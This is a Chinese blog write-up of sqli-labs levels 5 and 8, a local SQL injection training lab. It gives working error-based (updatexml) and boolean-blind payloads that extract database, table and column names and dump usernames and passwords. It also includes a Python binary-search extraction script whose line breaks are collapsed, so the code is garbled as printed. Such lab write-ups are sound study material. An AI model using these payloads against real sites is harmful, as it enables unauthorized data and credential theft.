当前位置: 首页 > news >正文

sqllabs通关

sqllabs5:(报错注入)

?id=1  回显You are in...........
?id=2-1  回显You are in...........
?id=1'  回显'  '1'' LIMIT 0,1  '判断是字符型,'闭合。
?id=1'order by 3--+    //页面显示正常

我们试了4行得出是报错注入

我们先爆库名

http://127.0.0.1/sqli-labs-master/Less-5/?id='and updatexml(1,concat(0x7e,(select database()),0x7e),3)--+

拿下库名:security

爆表名

http://127.0.0.1/sqli-labs-master/Less-5/?id=-1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27)),1)%20--+

拿下表名

然后爆字段:

http://127.0.0.1/sqli-labs-master/Less-5/?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')),1) --+

爆数据:

http://127.0.0.1/sqli-labs-master/Less-5/?id=-1' and updatexml(1,concat(0x7e,(select group_concat(username,0x7e,password) from users)),1) --+

数据不完整,因为updatexml()函数的报错内容不超过32个字符,所以我们还需要对数据进行处理

使用substring()函数对结果字符进行处理

?id=-1' and updatexml(1,concat(0x7e,substring((select group_concat(username,0x7e,password) from users),32,64)),1) --+

之后我们就可以不断改变位置,这样我们就可以得到所有数据,后续的操作不再演示

sqllabs8:布尔盲注

报错注入被注释掉了

联合查询只出现you are in ..........

所以这里我们能看见一真一假(页面特征)

不加'时为真

http://127.0.0.1/sqli-labs-master/Less-8/?id=1

加入'时为假

http://127.0.0.1/sqli-labs-master/Less-8/?id=1'

我们可以用布尔盲注

我们数据库名:

security,s的ascii码是115,我们可以一个一个试一试

http://127.0.0.1/sqli-labs-master/Less-8//?id=1' and ascii(substring((select database()),1,1))=115--+

利用二分法和ASCII码进行渗透:

根据此现象我们写一个python脚本快速进行注入

import time
import requestsurl = 'http://127.0.0.1/sqli-labs-master/Less-8/index.php'def inject_database(url):name = ''for i in range(1, 50):low = 32high = 128mid = (low + high) // 2while low < high:payload = "1' and ascii(substr(database(), %d, 1)) > %d-- " % (i, mid)res = {"id": payload}# start_time = time.time()r = requests.get(url, params=res)# end_time = time.time()if 'You are in...........' in r.text:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname = name + chr(mid)print(name)inject_database(url)

爆库名;

爆表名:

payload = "1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), %d, 1)) > %d-- " % (i, mid)

爆列名:

payload = "1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'), %d, 1)) > %d-- " % (i, mid)

爆数据:

payload = "1' and ascii(substr((select group_concat(username,'$',password) from users), %d, 1)) > %d-- " % (i, mid)

http://www.lryc.cn/news/415910.html

相关文章:

  • RTSP系列四:RTSP Server/Client实战项目
  • sqli-labs-php7-master第11-16关
  • c++初阶 string的底层实现
  • 微信小程序实现上传照片功能
  • lombok安装成功但是找不到方法
  • 单细胞Seurat的umi矩阵-与feature、counts(用于质控)
  • 安防视频监控EasyCVR视频汇聚平台设备发送了GPS位置,但是订阅轨迹为空是什么原因?
  • 在 VueJS 中使用事件委托处理点击事件(事件委托,vue事件委托,什么是事件委托,什么是vue的事件委托)
  • 密码学简史:时间密语
  • 【Java数据结构】---初始数据结构
  • MySQL--主从复制
  • Linux RT调度器之负载均衡
  • pwn学习笔记(8)--初识Pwn沙箱
  • Day18_2--Vue.js Ajax(使用 Axios)基础入门学习
  • windows11远程桌面如何打开
  • qt代码显示,包含文本颜色设置等
  • 抽象代数精解【6】
  • 如何选择合适的PCB材料?FR4、陶瓷、还是金属基板?
  • PXE学习及其简单应用
  • 【Python】把list转换成json文件(list中为字典,元素按行写入)
  • 《机器人SLAM导航核心技术与实战》第1季:第8章_激光SLAM系统
  • 【安当产品应用案例100集】005-安当ASP实现Exchange双因素登录认证
  • 【Bug】Pytorch RuntimeError: DataLoader worker (pid(s) 15904) exited unexpectedly
  • 谈谈冯诺依曼体系
  • 第十二章 元数据管理10分
  • eco_tracker
  • electron 鼠标事件
  • 网络安全第一次作业(ubuntuan安装nginx以及php部署 and sql注入(less01-08)))
  • 【OpenHarmony4.1 之 U-Boot 2024.07源码深度解析】017 - init_sequence_f 各函数源码分析(一)
  • Mojo AI编程语言(十七)跨平台开发:应用广泛适配